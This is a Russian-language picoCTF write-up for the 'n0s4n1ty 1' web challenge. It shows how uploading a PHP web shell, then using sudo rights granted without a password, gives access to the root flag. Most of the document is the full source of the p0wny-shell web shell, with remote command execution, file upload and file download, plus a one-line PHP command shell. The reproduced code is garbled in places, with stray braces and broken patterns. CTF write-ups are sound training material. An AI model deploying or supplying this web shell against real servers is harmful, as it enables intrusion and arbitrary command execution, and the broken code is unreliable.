

1. WriteUp: PICO-CTF

Автор: nedo-offsec

Дата: 19 июля 2026

Задание: n0s4n1ty 1

Категория: Web

Сложность: Easy 100 pts

1.1 Задание

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.

1.2 Решение

Загрузим shell.php:

Затем посмотрим что с судо:

```
sudo -l
Matching Defaults entries for www-data on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/
sbin\:/usr/bin\:/sbin\:/bin
```

User www-data may run the following commands on challenge:
(ALL) NOPASSWD: ALL

Осталось почти ничто:

```
www-data@challenge:~/html/uploads# sudo ls /root
flag.txt
```

```
www-data@challenge:~/html/uploads# sudo cat /root/flag.txt
picoCTF{wh47_c4n_u_d0_wPHP_16579372}
```

можно такой shell.php:

```
<?php system($_GET['cmd']); ?>
```

или такой

shell.php:

```
<?php
```

```
$SHELL_CONFIG = array(
    'username' => 'p0wny',
    'hostname' => 'shell',
);

function expandPath($path) {
    if (preg_match("#^(~[a-zA-Z0-9_.-]*)/(.*)?$", $path, $match)) {
        exec("echo $match[1]", $stdout);
        return $stdout[0] . $match[2];
    }
    return $path;
}
```

```

}

function allFunctionExist($list = array()) {
    foreach ($list as $entry) {
        if (!function_exists($entry)) {
            return false;
        }
    }
    return true;
}

function executeCommand($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd, $output);
        $output = implode("\n", $output);
    } else if (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents',
'ob_end_clean')))) {
        ob_start();
        system($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents',
'ob_end_clean')))) {
        ob_start();
        passthru($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose')))) {
        $handle = popen($cmd, 'r');
        while (!feof($handle)) {
            $output .= fread($handle, 4096);
        }
        pclose($handle);
    } else if (allFunctionExist(array('proc_open', 'stream_get_contents',
'proc_close')))) {
        $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe',
'w')), $pipes);
        $output = stream_get_contents($pipes[1]);
        proc_close($handle);
    }
    return $output;
}

function isRunningWindows() {
    return strpos(PHP_OS, "WIN") === 0;
}

function featureShell($cmd, $cwd) {
    $stdout = "";

    if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
        chdir(expandPath("~"));
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir(expandPath($match[1]));
    }
}

```

```

} elseif (preg_match("/^\s*download\s+([^\s]+\s*(2>&1)?$/", $cmd)) {
    chdir($cwd);
    preg_match("/^\s*download\s+([^\s]+\s*(2>&1)?$/", $cmd, $match);
    return featureDownload($match[1]);
} else {
    chdir($cwd);
    $stdout = executeCommand($cmd);
}

return array(
    "stdout" => base64_encode($stdout),
    "cwd" => base64_encode(getcwd())
);
}

function featurePwd() {
    return array("cwd" => base64_encode(getcwd()));
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"\$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    foreach ($files as &$filename) {
        $filename = base64_encode($filename);
    }
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => base64_encode('File not found / no read permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        return array(
            'name' => base64_encode(basename($filePath)),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => base64_encode('Invalid path / no write permission.'),
            'cwd' => base64_encode(getcwd())
        );
    }
}

```

```

    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => base64_encode('Done.'),
            'cwd' => base64_encode(getcwd())
        );
    }
}

function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
        $username = getenv('USERNAME');
        if ($username !== false) {
            $SHELL_CONFIG['username'] = $username;
        }
    } else {
        $pwuid = posix_getpwuid(posix_geteuid());
        if ($pwuid !== false) {
            $SHELL_CONFIG['username'] = $pwuid['name'];
        }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
        $SHELL_CONFIG['hostname'] = $hostname;
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'],
$_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
} else {
    initShellConfig();
}

```

```

}

?><!DOCTYPE html>

<html>

  <head>
    <meta charset="UTF-8" />
    <title>p0wny@shell:~#</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <style>
      html, body {
        margin: 0;
        padding: 0;
        background: #333;
        color: #eee;
        font-family: monospace;
        width: 100vw;
        height: 100vh;
        overflow: hidden;
      }

      *::-webkit-scrollbar-track {
        border-radius: 8px;
        background-color: #353535;
      }

      *::-webkit-scrollbar {
        width: 8px;
        height: 8px;
      }

      *::-webkit-scrollbar-thumb {
        border-radius: 8px;
        -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
        background-color: #bcbcbc;
      }

      #shell {
        background: #222;
        box-shadow: 0 0 5px rgba(0, 0, 0, .3);
        font-size: 10pt;
        display: flex;
        flex-direction: column;
        align-items: stretch;
        max-width: calc(100vw - 2 * var(--shell-margin));
        max-height: calc(100vh - 2 * var(--shell-margin));
        resize: both;
        overflow: hidden;
        width: 100%;
        height: 100%;
        margin: var(--shell-margin) auto;
      }

      #shell-content {
        overflow: auto;
        padding: 5px;
        white-space: pre-wrap;
        flex-grow: 1;

```

```

}

#shell-logo {
  font-weight: bold;
  color: #FF4180;
  text-align: center;
}

:root {
  --shell-margin: 25px;
}

@media (min-width: 1200px) {
  :root {
    --shell-margin: 50px !important;
  }
}

@media (max-width: 991px),
  (max-height: 600px) {
  #shell-logo {
    font-size: 6px;
    margin: -25px 0;
  }
  :root {
    --shell-margin: 0 !important;
  }
  #shell {
    resize: none;
  }
}

@media (max-width: 767px) {
  #shell-input {
    flex-direction: column;
  }
}

@media (max-width: 320px) {
  #shell-logo {
    font-size: 5px;
  }
}

.shell-prompt {
  font-weight: bold;
  color: #75DF0B;
}

.shell-prompt > span {
  color: #1BC9E7;
}

#shell-input {
  display: flex;
  box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  border-top: rgba(255, 255, 255, .05) solid 1px;
  padding: 10px 0;
}

```

```

#shell-input > label {
    flex-grow: 0;
    display: block;
    padding: 0 5px;
    height: 30px;
    line-height: 30px;
}

#shell-input #shell-cmd {
    height: 30px;
    line-height: 30px;
    border: none;
    background: transparent;
    color: #eee;
    font-family: monospace;
    font-size: 10pt;
    width: 100%;
    align-self: center;
    box-sizing: border-box;
}

#shell-input div {
    flex-grow: 1;
    align-items: stretch;
}

#shell-input input {
    outline: none;
}
</style>

<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;

function _insertCommand(command) {
    eShellContent.innerHTML += "\n\n";
    eShellContent.innerHTML += '<span class="shell-prompt">' +
genPrompt(CWD) + '</span> ';
    eShellContent.innerHTML += escapeHtml(command);
    eShellContent.innerHTML += "\n";
    eShellContent.scrollTop = eShellContent.scrollHeight;
}

function _insertStdout(stdout) {
    eShellContent.innerHTML += escapeHtml(stdout);
    eShellContent.scrollTop = eShellContent.scrollHeight;
}

function _defer(callback) {
    setTimeout(callback, 0);
}

function featureShell(command) {

```

```

        _insertCommand(command);
        if (/^\s*upload\s+([^\s]+\s*$)/.test(command)) {
            featureUpload(command.match(/^\s*upload\s+([^\s]+\s*$)/)[1]);
        } else if (/^\s*clear\s*$/.test(command)) {
            // Backend shell TERM environment variable not set. Clear command
            history from UI but keep in buffer
            eShellContent.innerHTML = '';
        } else {
            makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function
(response) {
                if (response.hasOwnProperty('file')) {
                    featureDownload(atob(response.name), response.file)
                } else {
                    _insertStdout(atob(response.stdout));
                    updateCwd(atob(response.cwd));
                }
            });
        }
    }

    function featureHint() {
        if (eShellCmdInput.value.trim().length === 0) return; // field is
        empty -> nothing to complete

        function _requestCallback(data) {
            if (data.files.length <= 1) return; // no completion
            data.files = data.files.map(function(file){
                return atob(file);
            });
            if (data.files.length === 2) {
                if (type === 'cmd') {
                    eShellCmdInput.value = data.files[0];
                } else {
                    var currentValue = eShellCmdInput.value;
                    eShellCmdInput.value = currentValue.replace(/([^\s]*)$/,
data.files[0]);
                }
            } else {
                _insertCommand(eShellCmdInput.value);
                _insertStdout(data.files.join("\n"));
            }
        }

        var currentCmd = eShellCmdInput.value.split(" ");
        var type = (currentCmd.length === 1) ? "cmd" : "file";
        var fileName = (type === "cmd") ? currentCmd[0] :
currentCmd[currentCmd.length - 1];

        makeRequest(
            "?feature=hint",
            {
                filename: fileName,
                cwd: CWD,
                type: type
            },
            _requestCallback
        );
    }

```



```

    }

    function featureDownload(name, file) {
        var element = document.createElement('a');
        element.setAttribute('href', 'data:application/octet-stream;base64,'
+ file);

        element.setAttribute('download', name);
        element.style.display = 'none';
        document.body.appendChild(element);
        element.click();
        document.body.removeChild(element);
        _insertStdout('Done.');
```

```
    }

    function featureUpload(path) {
        var element = document.createElement('input');
        element.setAttribute('type', 'file');
        element.style.display = 'none';
        document.body.appendChild(element);
        element.addEventListener('change', function () {
            var promise = getBase64(element.files[0]);
            promise.then(function (file) {
                makeRequest('?feature=upload', {path: path, file: file, cwd:
CWD}, function (response) {
                    _insertStdout(atob(response.stdout));
                    updateCwd(atob(response.cwd));
                });
            }, function () {
                _insertStdout('An unknown client-side error occurred.');
```

```
            });
            element.click();
            document.body.removeChild(element);
        }

        function getBase64(file, onLoadCallback) {
            return new Promise(function(resolve, reject) {
                var reader = new FileReader();
                reader.onload = function() { resolve(reader.result.match(/base64,
(.*)$/)[1]); };
                reader.onerror = reject;
                reader.readAsDataURL(file);
            });
        }

        function genPrompt(cwd) {
            cwd = cwd || "~";
            var shortCwd = cwd;
            if (cwd.split("/").length > 3) {
                var splittedCwd = cwd.split("/");
                shortCwd = ".../" + splittedCwd[splittedCwd.length-2] + "/" +
splittedCwd[splittedCwd.length-1];
            }
            return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] +
":<span title=\"\" + cwd + "\">\" + shortCwd + "</span>#";
        }

        function updateCwd(cwd) {
            if (cwd) {
```

```

        CWD = cwd;
        _updatePrompt();
        return;
    }
    makeRequest("?feature=pwd", {}, function(response) {
        CWD = atob(response.cwd);
        _updatePrompt();
    });
}

function escapeHtml(string) {
    return string
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;");
}

function _updatePrompt() {
    var eShellPrompt = document.getElementById("shell-prompt");
    eShellPrompt.innerHTML = genPrompt(CWD);
}

function _onShellCmdKeyDown(event) {
    switch (event.key) {
        case "Enter":
            featureShell(eShellCmdInput.value);
            insertToHistory(eShellCmdInput.value);
            eShellCmdInput.value = "";
            break;
        case "ArrowUp":
            if (historyPosition > 0) {
                historyPosition--;
                eShellCmdInput.blur();
                eShellCmdInput.value = commandHistory[historyPosition];
                _defer(function() {
                    eShellCmdInput.focus();
                });
            }
            break;
        case "ArrowDown":
            if (historyPosition >= commandHistory.length) {
                break;
            }
            historyPosition++;
            if (historyPosition === commandHistory.length) {
                eShellCmdInput.value = "";
            } else {
                eShellCmdInput.blur();
                eShellCmdInput.focus();
                eShellCmdInput.value = commandHistory[historyPosition];
            }
            break;
        case 'Tab':
            event.preventDefault();
            featureHint();
            break;
    }
}

```

```

function insertToHistory(cmd) {
    commandHistory.push(cmd);
    historyPosition = commandHistory.length;
}

function makeRequest(url, params, callback) {
    function getQueryString() {
        var a = [];
        for (var key in params) {
            if (params.hasOwnProperty(key)) {
                a.push(encodeURIComponent(key) + "=" +
encodeURIComponent(params[key]));
            }
        }
        return a.join("&");
    }
    var xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-
urlencoded");
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            try {
                var responseJson = JSON.parse(xhr.responseText);
                callback(responseJson);
            } catch (error) {
                alert("Error while parsing response: " + error);
            }
        }
    };
    xhr.send(getQueryString());
}

document.onclick = function(event) {
    event = event || window.event;
    var selection = window.getSelection();
    var target = event.target || event.srcElement;

    if (target.tagName === "SELECT") {
        return;
    }

    if (!selection.toString()) {
        eShellCmdInput.focus();
    }
};

window.onload = function() {
    eShellCmdInput = document.getElementById("shell-cmd");
    eShellContent = document.getElementById("shell-content");
    updateCwd();
    eShellCmdInput.focus();
};
</script>
</head>

<body>
<div id="shell">

```

```
<pre id="shell-content">  
    <div id="shell-logo">  
  
        _____  
       / _ \      _ _ _ _ _ / _ \   | | _   | | |_/|||_|_<span></span>  
       | '_ \|    | \ \ /\ / / '_ \| | | / / _` / _|'_ \ / _ \| ()\/_ .. _|<span></span>  
       | |_) |   | |_\ V \ V /| | | | |_(| \_ \ | | | _/ | | _   _|<span></span>  
       | . _/ \__/\_ \/\_/ | | | |_\_, | \_\_,_|___/_| | |\__|_|_|_|<span></span>  
       |_|              |___/ \___/                                     <span></span>  
  
    </div>  
</pre>  
<div id="shell-input">  
    <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???  
    <div>  
        <input id="shell-cmd" name="cmd"  
onkeydown="_onShellCmdKeyDown(event)"/>  
    </div>  
</div>  
</body>  
</html>
```